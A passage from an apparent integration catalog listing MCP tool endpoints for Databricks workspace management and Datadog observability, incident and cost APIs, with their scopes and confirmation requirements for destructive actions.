assigned principal in the calling workspace. Changes are applied one at a time rather than atomically. If the request fails partway through, only some of the requested changes take effect. Get the assignment afterwards... POST /api/v1/tools/databricks/workspace-iam-v2-update-workspace-assignment-proxy. Scopes: iam:write. databricks_workspace_iam_v2_update_workspace_identity_detail (write) — Updates a workspace identity detail for a principal. POST /api/v1/tools/databricks/workspace-iam-v2-update-workspace-identity-detail. Scopes: iam:write. databricks_workspace_import (write) — Imports a workspace object (for example, a notebook or file) or the contents of an entire directory. If ``path`` already exists and ``overwrite`` is set to ``false``, this call returns an error ``RESOURCE_ALREADY_EXISTS``. To import a directory, you can use... POST /api/v1/tools/databricks/workspace-import. Scopes: workspace:write. databricks_workspace_list (read) — Lists the contents of a directory, or the object if it is not a directory. If the input path does not exist, this call returns an error ``RESOURCE_DOES_NOT_EXIST``. GET /api/v1/tools/databricks/workspace-list. Scopes: workspace:read. databricks_workspace_mkdirs (write) — Creates the specified directory (and necessary parent directories if they do not exist). If there is an object (not a directory) at any prefix of the input path, this call returns an error ``RESOURCE_ALREADY_EXISTS``. Note that if this operation fails it... POST /api/v1/tools/databricks/workspace-mkdirs. Scopes: workspace:write. databricks_workspace_settings_v2_get_public_workspace_setting (read) — Get a setting value at workspace level. See :method:settingsv2/listworkspacesettingsmetadata for list of setting available via public APIs. GET /api/v1/tools/databricks/workspace-settings-v2-get-public-workspace-setting. Scopes: settings:read. databricks_workspace_settings_v2_list_workspace_settings_metadata (read) — List valid setting keys and metadata. These settings are available to be referenced via GET :method:settingsv2/getpublicworkspacesetting and PATCH :method:settingsv2/patchpublicworkspacesetting APIs GET /api/v1/tools/databricks/workspace-settings-v2-list-workspace-settings-metadata. Scopes: settings:read. databricks_workspace_settings_v2_patch_public_workspace_setting (write) — Patch a setting value at workspace level. See :method:settingsv2/listworkspacesettingsmetadata for list of setting available via public APIs at workspace level. To determine the correct field to include in a patch request, refer to the type field of the... POST /api/v1/tools/databricks/workspace-settings-v2-patch-public-workspace-setting. Scopes: settings:write. ================================================================================ ## Datadog URL: https://www.agenticfabriq.com/integrations/datadog Section: Integrated Tools Datadog — 258 MCP tools Provider key: datadog. Scopes: apm_read, apm_service_catalog_read, audit_logs_read, cases_read, ci_visibility_read, cloud_cost_management_read, dashboards_read, dora_metrics_read, events_read, hosts_read, incident_read, incident_write, logs_read_archives, logs_read_config, logs_read_data, metrics_read, monitors_downtime, monitors_read, notebooks_read, on_call_read, rum_apps_read, security_monitoring_filters_read, security_monitoring_findings_read, security_monitoring_rules_read, security_monitoring_signals_read, slos_read, synthetics_private_location_read, synthetics_read, teams_read, test_optimization_read, timeseries_query. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. datadog_aggregate_cases (read) — Group cases into buckets by status, priority, assignee, project or any case attribute and get counts per bucket. This is the read that answers 'where is the backlog' in one call rather than by enumerating every case. POST /api/v1/tools/datadog/aggregate-cases. Scopes: cases_read. datadog_aggregate_ci_pipeline_events (read) — Group CI pipeline events into buckets and compute counts or durations per bucket — failure rate by branch, p95 build time by repository. REQUIRES CI VISIBILITY. POST /api/v1/tools/datadog/aggregate-ci-pipeline-events. Scopes: ci_visibility_read. datadog_aggregate_ci_test_events (read) — Group CI test executions into buckets — failure count by suite, duration percentiles by service. REQUIRES TEST OPTIMIZATION. POST /api/v1/tools/datadog/aggregate-ci-test-events. Scopes: ci_visibility_read. datadog_aggregate_logs (read) — Count and group log events instead of retrieving them — 'how many 5xx by service in the last hour' in one call. This is the correct primitive for most counting questions, and it returns bucket counts rather than log bodies, so with no group_by it exposes strictly LESS personal data than Search logs. It shares Datadog's organization-wide log-search rate budget, which is exactly why one aggregate beats N pages of raw search. POST /api/v1/tools/datadog/aggregate-logs. Scopes: logs_read_data. datadog_aggregate_rum_events (read) — Group RUM events into buckets and compute counts or percentiles per bucket — error rate by browser, p95 load time by country, sessions by release. LOWER exposure than searching RUM events for counting questions, because it returns bucket totals rather than session bodies; a group_by on a user-identifying facet still returns that facet's values. POST /api/v1/tools/datadog/aggregate-rum-events. Scopes: rum_apps_read. datadog_aggregate_rum_long_tasks (read) — Aggregate RUM long tasks — the main-thread blocks that make a page feel frozen — by page, component or release. PREVIEW endpoint. POST /api/v1/tools/datadog/aggregate-rum-long-tasks. Scopes: rum_apps_read. datadog_aggregate_rum_problems (read) — Aggregate the problems RUM detected in user sessions — rage clicks, dead clicks, error clusters — grouped for triage. PREVIEW endpoint. POST /api/v1/tools/datadog/aggregate-rum-problems. Scopes: rum_apps_read. datadog_aggregate_rum_waterfall (read) — Aggregate the resource-loading waterfall across RUM views: which requests dominate page load, across sessions rather than in one. PREVIEW endpoint. POST /api/v1/tools/datadog/aggregate-rum-waterfall. Scopes: rum_apps_read. datadog_aggregate_spans (read) — Count, bucket and compute over APM spans instead of retrieving them — 'p99 duration by resource for checkout-api in the last hour'. The cheap way to ask a trace-level question. Requires the APM module. POST /api/v1/tools/datadog/aggregate-spans. Scopes: apm_read. datadog_check_monitors_deletable (read) — Diagnostic read: for a list of monitor ids, report which cannot be deleted and which SLOs or composite monitors depend on them. Agentic Fabriq exposes no monitor delete at all — this is useful as a dependency map: it names what would break if a human deleted the monitor. GET /api/v1/tools/datadog/check-monitors-deletable. Scopes: monitors_read. datadog_check_slos_deletable (read) — Diagnostic read: for a list of SLO ids, report which cannot be deleted and what depends on them. Agentic Fabriq exposes no SLO delete — this is a dependency map. GET /api/v1/tools/datadog/check-slos-deletable. Scopes: slos_read. datadog_convert_security_rule (read) — Convert one existing security detection rule to its JSON representation. Read-scoped and creates nothing — the drafting workflow for a rule change, handed to a human to apply, exactly as Validate a monitor definition is for monitors. REQUIRES CLOUD SIEM or CSM. GET /api/v1/tools/datadog/convert-security-rule. Scopes: security_monitoring_rules_read. datadog_count_cases (read) — Count the cases matching a query without paging through them. The cheap form of Search cases when the question is 'how many' rather than 'which' — one call instead of a full scan. GET /api/v1/tools/datadog/count-cases. Scopes: cases_read. datadog_create_incident (read) — Declare a Datadog incident with a title and a severity. NOT A SILENT DATA WRITE: depending on this organization's incident settings, declaring an incident can create a Slack channel, page a rotation and open a ticket, and Agentic Fabriq cannot read those settings first because they sit behind a different permission. Agentic Fabriq sends title, severity and customer-impact only — no notification handles, no responders, no timestamps — so every notification that results is the organization's own configured behaviour rather than something the caller aimed. PREVIEW endpoint. REQUIRES INCIDENT MANAGEMENT; creating needs no paid seat, but modifying does. Requires confirm="may-page-on-call" — that exact string, not true. Not because anything is destroyed, but because the call can wake people up and no later call takes that back. POST /api/v1/tools/datadog/create-incident. Scopes: incident_write. datadog_create_incident_attachment (read) — Attach a link to an incident — a postmortem document or a dashboard URL. The attachment is a link STORED on the incident; Datadog does not fetch it, so this is not an outbound request from a caller-chosen destination. PREVIEW endpoint. REQUIRES AN INCIDENT MANAGEMENT SEAT. POST /api/v1/tools/datadog/create-incident-attachment. Scopes: incident_write. datadog_create_incident_impact (read) — Record an impact on an incident — which service or customer segment was affected, and for how long. Additive and part of the incident record rather than a notification. REQUIRES AN INCIDENT MANAGEMENT SEAT. POST /api/v1/tools/datadog/create-incident-impact. Scopes: incident_write. datadog_create_incident_todo (read) — Add a task to an incident's task list, optionally assigned to a handle and with a due date. The narrow, additive write an on-call agent should have: it records what still needs doing without changing the incident's own record. PREVIEW endpoint. REQUIRES AN INCIDENT MANAGEMENT SEAT. POST /api/v1/tools/datadog/create-incident-todo. Scopes: incident_write. datadog_delete_incident (write, destructive) — DESTRUCTIVE — permanently delete an incident and its entire timeline. This destroys the record a postmortem is written from and the data MTTR is computed from, and there is no restore endpoint of any kind. Requires confirm="destroy-incident-timeline"; the connector refuses without that exact string and the refusal names what is lost. PREVIEW endpoint. REQUIRES AN INCIDENT MANAGEMENT SEAT. POST /api/v1/tools/datadog/delete-incident. Scopes: incident_write. datadog_delete_incident_attachment (write, destructive) — DESTRUCTIVE — remove an attachment from an incident. Requires confirm="delete-attachment-permanently". PREVIEW endpoint. REQUIRES AN INCIDENT MANAGEMENT SEAT. POST /api/v1/tools/datadog/delete-incident-attachment. Scopes: incident_write. datadog_delete_incident_impact (write, destructive) — DESTRUCTIVE — remove a recorded impact from an incident. Impacts are what a customer-facing postmortem is written from, so removing one narrows the stated blast radius. Requires confirm="narrow-recorded-impact". REQUIRES AN INCIDENT MANAGEMENT SEAT. POST /api/v1/tools/datadog/delete-incident-impact. Scopes: incident_write. datadog_delete_incident_todo (write, destructive) — DESTRUCTIVE — permanently remove a task from an incident. There is no undo and no trash. Requires confirm="delete-task-permanently". PREVIEW endpoint. REQUIRES AN INCIDENT MANAGEMENT SEAT. POST /api/v1/tools/datadog/delete-incident-todo. Scopes: incident_write. datadog_export_security_rules (read) — Export a set of security detection rules in bulk, by id. Read-scoped — Datadog exposes it as a POST because the id list does not fit in a URL. Creates nothing. REQUIRES CLOUD SIEM or CSM. POST /api/v1/tools/datadog/export-security-rules. Scopes: security_monitoring_rules_read. datadog_fetch_synthetics_uptimes (read) — Fetch uptime percentages for a set of Synthetics tests over a time window. The SLA read: 'was the checkout flow up last week', in one call, with no test configuration in the response. POST /api/v1/tools/datadog/fetch-synthetics-uptimes. Scopes: synthetics_read. datadog_generate_cost_tag_description (read) — Ask Datadog to generate a description for one cost tag key from its observed values. A GET that computes rather than stores — nothing is written until the separate upsert, which is not exposed. GET /api/v1/tools/datadog/generate-cost-tag-description. Scopes: cloud_cost_management_read. datadog_generate_incident_postmortem (read) — Ask Datadog to draft a postmortem for one incident from its own timeline. A POST that reads: it returns a draft and writes nothing to the incident. Datadog gates it behind incident_write rather than incident_read, which is why it appears here. PREVIEW endpoint. REQUIRES AN INCIDENT MANAGEMENT SEAT. POST /api/v1/tools/datadog/generate-incident-postmortem. Scopes: incident_write. datadog_get_agentless_scan_task (read) — Get one on-demand agentless AWS scan task in full — its target, its status and its completion time. REQUIRES CLOUD SECURITY MANAGEMENT. GET /api/v1/tools/datadog/get-agentless-scan-task. Scopes: security_monitoring_findings_read. datadog_get_case (read) — Get one case in full — title, description, status, priority, assignee, project, custom attributes and its links to incidents and Jira issues. The detail read behind a Search cases hit. GET /api/v1/tools/datadog/get-case. Scopes: cases_read. datadog_get_case_automation_rule (read) — Get one case automation rule in full — its trigger, its conditions and what it does. Read-only; Agentic Fabriq never creates, edits, enables or disables one. GET /api/v1/tools/datadog/get-case-automation-rule. Scopes: cases_read. datadog_get_case_project (read) — Get one Case Management project in full, including its key and configuration. GET /api/v1/tools/datadog/get-case-project. Scopes: cases_read. datadog_get_case_view (read) — Get one saved case view, including the query behind it, so the same filter can be reproduced through Search cases. GET /api/v1/tools/datadog/get-case-view. Scopes: cases_read. datadog_get_cost_account_filters (read) — Read the account filters on one cloud account — which parts of that account's spend Datadog includes. Explains a cost figure that looks too low. GET /api/v1/tools/datadog/get-cost-account-filters. Scopes: cloud_cost_management_read. datadog_get_cost_commitment_coverage (read) — How much of current spend is covered by commitments, as a single number. PREVIEW endpoint. GET /api/v1/tools/datadog/get-cost-commitment-coverage. Scopes: cloud_cost_management_read. datadog_get_cost_commitment_coverage_timeseries (read) — Commitment coverage over time, as a series. The trend behind the scalar. PREVIEW endpoint. GET /api/v1/tools/datadog/get-cost-commitment-coverage-timeseries. Scopes: cloud_cost_management_read. datadog_get_cost_commitment_savings (read) — Total savings realised from commitments, as a single number. PREVIEW endpoint. GET /api/v1/tools/datadog/get-cost-commitment-savings. Scopes: cloud_cost_management_read. datadog_get_cost_commitment_savings_timeseries (read) — Commitment savings over time, as a series. PREVIEW endpoint. GET /api/v1/tools/datadog/get-cost-commitment-savings-timeseries. Scopes: cloud_cost_management_read. datadog_get_cost_commitment_utilization (read) — How much of the purchased commitment is actually being used, as a single number — the read that finds money already spent and wasted. PREVIEW endpoint. GET /api/v1/tools/datadog/get-cost-commitment-utilization. Scopes: cloud_cost_management_read. datadog_get_cost_commitment_utilization_timeseries (read) — Commitment utilization over time, as a series. PREVIEW endpoint. GET /api/v1/tools/datadog/get-cost-commitment-utilization-timeseries. Scopes: cloud_cost_management_read. datadog_get_cost_on_demand_hotspots (read) — The on-demand spend not covered by any commitment, broken down — where a new commitment would pay for itself. PREVIEW endpoint. GET /api/v1/tools/datadog/get-cost-on-demand-hotspots. Scopes: cloud_cost_management_read. datadog_get_cost_tag_description (read) — Get the description of one cost tag key. GET /api/v1/tools/datadog/get-cost-tag-description. Scopes: cloud_cost_management_read. datadog_get_cost_tag_key (read) — Get one cost tag key with its values and metadata. GET /api/v1/tools/datadog/get-cost-tag-key. Scopes: cloud_cost_management_read. datadog_get_cost_tag_metadata_currency (read) — Read the currency cost figures are reported in. Small, and without it every number in this family is ambiguous. PREVIEW endpoint. GET /api/v1/tools/datadog/get-cost-tag-metadata-currency. Scopes: cloud_cost_management_read. datadog_get_custom_security_framework (read) — Get one custom compliance framework — the controls the organization defined and the rules mapped to each. The read behind a compliance posture number. REQUIRES CLOUD SECURITY MANAGEMENT. GET /api/v1/tools/datadog/get-custom-security-framework. Scopes: security_monitoring_rules_read. datadog_get_dashboard (read) — Get one Datadog dashboard including every widget definition. The widget queries are the fastest way to learn which metrics a team actually watches, so this is often a better starting point than datadog_list_metrics. GET /api/v1/tools/datadog/dashboard. Scopes: dashboards_read. datadog_get_dashboard_list (read) — Get one dashboard list's name and dashboard count. GET /api/v1/tools/datadog/get-dashboard-list. Scopes: dashboards_read. datadog_get_dashboard_usage (read) — Last-viewed and last-edited timestamps for one dashboard. PREVIEW endpoint. GET /api/v1/tools/datadog/get-dashboard-usage. Scopes: dashboards_read. datadog_get_dora_deployment (read) — Get one DORA deployment event in full — service, version, commit and timestamps. GET /api/v1/tools/datadog/get-dora-deployment. Scopes: dora_metrics_read. datadog_get_dora_failure (read) — Get one DORA failure event in full, including its start and resolution timestamps. GET /api/v1/tools/datadog/get-dora-failure. Scopes: dora_metrics_read. datadog_get_downtime (read) — Get one downtime in full — its message, creator, scope, monitor_identifier, current status and schedule. The pre-flight for Unmute monitor: it answers 'is this a planned maintenance window, and did this agent create it?'. GET /api/v1/tools/datadog/get-downtime. Scopes: monitors_downtime. datadog_get_escalation_policy (read) — Get one escalation policy: who is paged, in what order, and after how long. Requires the On-Call module. GET /api/v1/tools/datadog/get-escalation-policy. Scopes: on_call_read. datadog_get_event (read) — Get one event in full — its title, text, tags, source and timestamps. The follow-up to a promising row in List events or Search events. GET /api/v1/tools/datadog/get-event. Scopes: events_read. datadog_get_flaky_test_policies (read) — Read the organization's flaky-test management policies — when a test is auto-quarantined and when it is auto-unquarantined. A read that Datadog exposes as a POST; it creates nothing. REQUIRES TEST OPTIMIZATION. POST /api/v1/tools/datadog/get-flaky-test-policies. Scopes: test_optimization_read. datadog_get_fleet_agent (read) — Get one Datadog Agent's version, host, configuration state and installed integrations. GET /api/v1/tools/datadog/get-fleet-agent. Scopes: hosts_read. datadog_get_fleet_deployment (read) — Get one Fleet Automation deployment's status and per-host outcome. GET /api/v1/tools/datadog/get-fleet-deployment. Scopes: hosts_read. datadog_get_fleet_schedule (read) — Get one Fleet Automation schedule in full. GET /api/v1/tools/datadog/get-fleet-schedule. Scopes: hosts_read. datadog_get_historical_metrics_configuration (read) — Get the historical-metrics (backfill) configuration for one metric. PREVIEW endpoint. GET /api/v1/tools/datadog/get-historical-metrics-configuration. Scopes: metrics_read. datadog_get_historical_signal (read) — Get one historical-detection signal in full. PREVIEW endpoint. Requires Cloud SIEM. GET /api/v1/tools/datadog/get-historical-signal. Scopes: security_monitoring_signals_read. datadog_get_host_totals (read) — Total host counts — up, active and total. One number instead of paging the whole inventory. GET /api/v1/tools/datadog/get-host-totals. Scopes: hosts_read. datadog_get_incident (read) — Open one incident: its fields, customer impact, declared and resolved timestamps, commander and linked resources. List incidents can only say an incident exists. PREVIEW endpoint. GET /api/v1/tools/datadog/get-incident. Scopes: incident_read. datadog_get_incident_field (read) — Get one custom incident field definition. PREVIEW endpoint. GET /api/v1/tools/datadog/get-incident-field. Scopes: incident_read. datadog_get_incident_responder (read) — Get one incident responder's role and assignment. PREVIEW endpoint. GET /api/v1/tools/datadog/get-incident-responder. Scopes: incident_read. datadog_get_incident_todo (read) — Get one incident follow-up task in full. PREVIEW endpoint. GET /api/v1/tools/datadog/get-incident-todo. Scopes: incident_read. datadog_get_incident_type (read) — Get one incident type's definition — the template that decides which fields an incident of that type carries. PREVIEW endpoint. GET /api/v1/tools/datadog/get-incident-type. Scopes: incident_read. datadog_get_log_archive (read) — Get one log archive's destination, query and rehydration state. GET /api/v1/tools/datadog/get-log-archive. Scopes: logs_read_archives. datadog_get_log_index (read) — Get one log index in full, including its filter, retention and exclusion filters. GET /api/v1/tools/datadog/get-log-index. Scopes: logs_read_config. datadog_get_log_index_order (read) — Get the order log indexes are evaluated in. Order decides which index a log lands in, and therefore its retention. GET /api/v1/tools/datadog/get-log-index-order. Scopes: logs_read_config. datadog_get_log_metric (read) — Get one log-based metric's filter, compute and group-by. GET /api/v1/tools/datadog/get-log-metric. Scopes: logs_read_config. datadog_get_log_pipeline (read) — Get one log pipeline including every processor, in order. GET /api/v1/tools/datadog/get-log-pipeline. Scopes: logs_read_config. datadog_get_log_pipeline_order (read) — Get the order log pipelines run in. Reordering alone can disable every downstream processor, which is why the write is excluded and this read matters. GET /api/v1/tools/datadog/get-log-pipeline-order. Scopes: logs_read_config. datadog_get_log_restriction_query (read) — Get one log restriction query. PREVIEW endpoint. GET /api/v1/tools/datadog/get-log-restriction-query. Scopes: logs_read_config. datadog_get_logs_archive_order (read) — Read the order archives are evaluated in. A log line goes to the FIRST archive whose filter matches, so the order decides where it lands — this is the read that explains an archive nothing ever arrives in. Wave 1 recorded it as a plain oversight rather than a principled exclusion; this closes it. Costs no new scope: logs_read_config was already requested. GET /api/v1/tools/datadog/get-logs-archive-order. Scopes: logs_read_config. datadog_get_metric_metadata (read) — Get a metric's type, unit, description and per-unit — the information needed to read its values correctly. A gauge and a count with the same name mean different things. GET /api/v1/tools/datadog/get-metric-metadata. Scopes: metrics_read. datadog_get_metric_tag_cardinalities (read) — Report per-tag cardinality for one metric — the number of distinct values behind each tag key. This is the read that tells you, before you group by something, whether that group-by is about to explode. GET /api/v1/tools/datadog/get-metric-tag-cardinalities. Scopes: metrics_read. datadog_get_metric_tag_configuration (read) — Get the tag configuration for one metric — which tags are kept for querying, and which aggregations are available on it. GET /api/v1/tools/datadog/get-metric-tag-configuration. Scopes: metrics_read. datadog_get_metric_tag_indexing_exemptions (read) — List the tag indexing rule exemptions granted to one metric. PREVIEW endpoint. GET /api/v1/tools/datadog/get-metric-tag-indexing-exemptions. Scopes: metrics_read. datadog_get_monitor (read) — Get one Datadog monitor's full definition — its query, thresholds, notification targets, tags and current state. Use datadog_list_monitors to find the id. GET /api/v1/tools/datadog/monitor. Scopes: monitors_read. datadog_get_monitor_config_policy (read) — Get one monitor configuration policy in full. GET /api/v1/tools/datadog/get-monitor-config-policy. Scopes: monitors_read. datadog_get_monitor_notification_rule (read) — Get one monitor notification rule in full, including its filter and its recipients. GET /api/v1/tools/datadog/get-monitor-notification-rule. Scopes: monitors_read. datadog_get_monitor_user_template (read) — Get one saved monitor template. PREVIEW endpoint — Datadog may change the response shape without notice. GET /api/v1/tools/datadog/get-monitor-user-template. Scopes: monitors_read. datadog_get_notebook (read) — Get one notebook including every cell. This is how an agent finds 'how did we fix this last time' in the organization's own words. GET /api/v1/tools/datadog/get-notebook. Scopes: notebooks_read. datadog_get_on_call_schedule (read) — Get one on-call schedule's layers, rotations and restrictions. Requires the On-Call module. GET /api/v1/tools/datadog/get-on-call-schedule. Scopes: on_call_read. datadog_get_powerpack (read) — Get one powerpack including its widget definitions and template variables. GET /api/v1/tools/datadog/get-powerpack. Scopes: dashboards_read. datadog_get_pruned_trace (read) — Get a pruned form of one distributed trace — the critical path rather than every span, for traces too large to read whole. PREVIEW endpoint. Requires the APM module. GET /api/v1/tools/datadog/get-pruned-trace. Scopes: apm_read. datadog_get_public_dashboard (read) — SECURITY AUDIT READ — given a public share token, return the sharing configuration behind it: which dashboard it exposes, its share type, and any global time or template-variable restrictions. Read-only counterpart to the share-creation endpoints, which Agentic Fabriq never exposes. GET /api/v1/tools/datadog/get-public-dashboard. Scopes: dashboards_read. datadog_get_resource_evaluation_filters (read) — Read which cloud resources are excluded from posture evaluation. The counterpart of the security filters read, for CSM rather than logs: it is how a resource ends up with no findings because nobody is looking at it. REQUIRES CLOUD SECURITY MANAGEMENT. GET /api/v1/tools/datadog/get-resource-evaluation-filters. Scopes: security_monitoring_filters_read. datadog_get_role_log_restriction_query (read) — Get the log restriction query applied to one role. PREVIEW endpoint. GET /api/v1/tools/datadog/get-role-log-restriction-query. Scopes: logs_read_config. datadog_get_rum_service_repository_info (read) — Get the repository and commit a RUM service's uploaded source maps were built from. PREVIEW endpoint. The link from a browser error back to the line of source that produced it. POST /api/v1/tools/datadog/get-rum-service-repository-info. Scopes: rum_apps_read. datadog_get_rum_sourcemaps (read) — Get the source-map upload records matching a filter — service, version and upload time. PREVIEW endpoint. Read-only; the source-map DELETE carries rum_delete_data and is never requested. GET /api/v1/tools/datadog/get-rum-sourcemaps. Scopes: rum_apps_read. datadog_get_schedule_responders (read) — Return the responders currently on call on one schedule, with their shift windows. Requires the On-Call module. GET /api/v1/tools/datadog/get-schedule-responders. Scopes: on_call_read. datadog_get_security_filter (read) — Get one security filter in full — its query, its exclusions and whether it is enabled. GET /api/v1/tools/datadog/get-security-filter. Scopes: security_monitoring_filters_read. datadog_get_security_historical_job (read) — Get one historical-detection job: whether the retroactive run of a detection rule finished, and what it produced. PREVIEW endpoint. REQUIRES CLOUD SIEM. GET /api/v1/tools/datadog/get-security-historical-job. Scopes: security_monitoring_rules_read. datadog_get_security_investigation_queries (read) — For one security signal, get the log queries Datadog suggests running to investigate it. Turns a signal into the next read, rather than into a guess. Datadog requires BOTH security_monitoring_rules_read AND security_monitoring_signals_read for this endpoint; Agentic Fabriq records the rules permission and requests both. REQUIRES CLOUD SIEM. GET /api/v1/tools/datadog/get-security-investigation-queries. Scopes: security_monitoring_rules_read. datadog_get_security_rule (read) — Get one security detection rule in full — its query, its thresholds, its severity mapping and its notification targets. REQUIRES CLOUD SIEM or CSM. GET /api/v1/tools/datadog/get-security-rule. Scopes: security_monitoring_rules_read. datadog_get_security_rule_version_history (read) — Read the version history of one security detection rule — every edit, when, and by whom. A security-AUDIT read: it is how you find out that a detection was narrowed. PREVIEW endpoint. REQUIRES CLOUD SIEM or CSM. GET /api/v1/tools/datadog/get-security-rule-version-history. Scopes: security_monitoring_rules_read. datadog_get_security_signal (read) — Get one security signal in full — the rule that fired, the matching events and the entities involved. Requires Cloud SIEM. GET /api/v1/tools/datadog/get-security-signal. Scopes: security_monitoring_signals_read. datadog_get_security_signal_entities (read) — List the users, hosts and cloud resources one security signal implicates. PREVIEW endpoint. Requires Cloud SIEM. GET /api/v1/tools/datadog/get-security-signal-entities. Scopes: security_monitoring_signals_read. datadog_get_security_suggested_actions (read) — For one security signal, get the remediation actions Datadog suggests. Read-only — it returns advice, and Agentic Fabriq exposes nothing that executes it. Requires BOTH the rules and the signals permission, as above. REQUIRES CLOUD SIEM. GET /api/v1/tools/datadog/get-security-suggested-actions. Scopes: security_monitoring_rules_read. datadog_get_service_definition (read) — Get one service's definition: its owning TEAM, contacts, on-call links, repositories, docs and tier. This is the routing primitive — it is what turns 'checkout-api is alerting' into 'page the payments team'. GET /api/v1/tools/datadog/get-service-definition. Scopes: apm_service_catalog_read. datadog_get_slo (read) — Get one service level objective in full, including the query or monitor_ids it is computed from. List SLOs returns a page of names and statuses; without this an agent can report an SLO is unhealthy but cannot say what it measures. GET /api/v1/tools/datadog/get-slo. Scopes: slos_read. datadog_get_slo_corrections (read) — List the corrections applied to one SLO — the windows deliberately excluded from its error budget, such as planned maintenance. An SLO number without its corrections is misleading. GET /api/v1/tools/datadog/get-slo-corrections. Scopes: slos_read. datadog_get_slo_history (read) — Error-budget burn-down for one SLO: the series behind the number — how much budget is left, how fast it is being spent, and whether the current window will breach. This is the one SLO question an agent can actually add value to. GET /api/v1/tools/datadog/get-slo-history. Scopes: slos_read. datadog_get_slo_status (read) — The v2 status read for one SLO. PREVIEW endpoint — Datadog may change the response shape without notice. GET /api/v1/tools/datadog/get-slo-status. Scopes: slos_read. datadog_get_span_metric (read) — Get one span-based metric's definition, including its filter and group-by. Requires the APM module. GET /api/v1/tools/datadog/get-span-metric. Scopes: apm_read. datadog_get_synthetics_ci_batch (read) — Get the status and per-test results of one Synthetics CI batch — the group of tests a pipeline triggered. Answers 'did the synthetic checks pass for this deploy' without reading any test's configuration. REQUIRES SYNTHETIC MONITORING, which Datadog bills per test run. GET /api/v1/tools/datadog/get-synthetics-ci-batch. Scopes: synthetics_read. datadog_get_synthetics_downtime (read) — Get one Synthetics downtime in full — its window, scope and the tests it covers. GET /api/v1/tools/datadog/get-synthetics-downtime. Scopes: synthetics_read. datadog_get_synthetics_fast_test_result (read) — Get the result of one Synthetics fast test by id — the quick single-run check, with its outcome and timings. GET /api/v1/tools/datadog/get-synthetics-fast-test-result. Scopes: synthetics_read. datadog_get_synthetics_multistep_subtest_parents (read) — The reverse lookup: which multistep Synthetics tests use this test as a subtest. Answers 'what else breaks if this step breaks'. GET /api/v1/tools/datadog/get-synthetics-multistep-subtest-parents. Scopes: synthetics_read. datadog_get_synthetics_multistep_subtests (read) — List the subtests of one multistep Synthetics API test — the steps a single test walks through. Returns step metadata; it does not return any step's request configuration, which is why it ships where the test-configuration reads do not. GET /api/v1/tools/datadog/get-synthetics-multistep-subtests. Scopes: synthetics_read. datadog_get_synthetics_network_test (read) — Get one Synthetics NETWORK test — a TCP, ICMP, DNS or traceroute check. This one test type ships where every other test read does not: a network test has no HTTP request block, so its configuration carries no basicAuth, no client certificate and no headers. GET /api/v1/tools/datadog/get-synthetics-network-test. Scopes: synthetics_read. datadog_get_synthetics_suite (read) — Get one Synthetics test suite: its name, its tags and which tests belong to it. GET /api/v1/tools/datadog/get-synthetics-suite. Scopes: synthetics_read. datadog_get_synthetics_test_parent_suites (read) — List the suites one Synthetics test belongs to — the reverse lookup, for working out what else runs when this test runs. GET /api/v1/tools/datadog/get-synthetics-test-parent-suites. Scopes: synthetics_read. datadog_get_synthetics_test_version (read) — Get the metadata of one version of a Synthetics test — its author, its timestamp and what changed at a summary level. GET /api/v1/tools/datadog/get-synthetics-test-version. Scopes: synthetics_read. datadog_get_tag_indexing_rule (read) — Get one metric tag indexing rule. PREVIEW endpoint. GET /api/v1/tools/datadog/get-tag-indexing-rule. Scopes: metrics_read. datadog_get_team (read) — Get one team's name, handle, description and links. GET /api/v1/tools/datadog/get-team. Scopes: teams_read. datadog_get_team_hierarchy_link (read) — Get one parent/child team relationship. GET /api/v1/tools/datadog/get-team-hierarchy-link. Scopes: teams_read. datadog_get_team_link (read) — Retrieves one link attached to a Datadog team -- its label and destination URL. Team links are the pointers a team hangs off its page (runbooks, dashboards, on-call rotas, chat channels), so this answers "where does this team say to look" for a given link id. Read-only. GET /api/v1/tools/datadog/get-team-link. Scopes: teams_read. datadog_get_team_notification_rule (read) — Get one team notification rule. GET /api/v1/tools/datadog/get-team-notification-rule. Scopes: teams_read. datadog_get_team_on_call (read) — Return who is currently on call for a team, and who is next. The single most useful On-Call read: it turns an alert into a name. Requires the On-Call module. GET /api/v1/tools/datadog/get-team-on-call. Scopes: on_call_read. datadog_get_team_routing_rules (read) — Get the rules that decide which escalation policy a team's pages follow. Requires the On-Call module. GET /api/v1/tools/datadog/get-team-routing-rules. Scopes: on_call_read. datadog_get_team_sync (read) — Get the configuration that syncs Datadog teams from an external identity source. GET /api/v1/tools/datadog/get-team-sync. Scopes: teams_read. datadog_get_test_optimization_service_settings (read) — Read the Test Optimization settings for one service — whether flaky management and test impact analysis are on. A read Datadog exposes as a POST; it creates nothing. REQUIRES TEST OPTIMIZATION. POST /api/v1/tools/datadog/get-test-optimization-service-settings. Scopes: test_optimization_read. datadog_get_trace (read) — Get one full distributed trace by id — every span in the request, in order. The deepest read Datadog offers for a single slow or failing request. PREVIEW endpoint. Requires the APM module. GET /api/v1/tools/datadog/get-trace. Scopes: apm_read. datadog_get_user_notification_channel (read) — Get one of a user's page-notification channels. Requires the On-Call module. GET /api/v1/tools/datadog/get-user-notification-channel. Scopes: on_call_read. datadog_get_user_notification_rule (read) — Get one of a user's page-notification rules. Requires the On-Call module. GET /api/v1/tools/datadog/get-user-notification-rule. Scopes: on_call_read. datadog_list_active_metric_configurations (read) — List the tags and aggregations that have actually been queried on this metric recently, as opposed to the ones merely configured. GET /api/v1/tools/datadog/list-active-metric-configurations. Scopes: metrics_read. datadog_list_active_metrics (read) — List metric names that have reported since a given timestamp, optionally narrowed by host or tag. Complements List metrics: this one answers 'is this metric still arriving', which is the first question when a graph goes flat. GET /api/v1/tools/datadog/list-active-metrics. Scopes: metrics_read. datadog_list_agentless_scan_tasks (read) — List the on-demand agentless AWS scan tasks and their status — whether a requested vulnerability scan finished and what it found. Read-only: the task CREATE carries security_monitoring_findings_write, which is never requested. REQUIRES CLOUD SECURITY MANAGEMENT. GET /api/v1/tools/datadog/list-agentless-scan-tasks. Scopes: security_monitoring_findings_read. datadog_list_audit_logs (read) — List Datadog audit events — every configuration change and every read of sensitive data, by user, in a time window. This is the read that answers 'who changed this monitor', and it is also the read that shows what Agentic Fabriq itself did. ADMIN 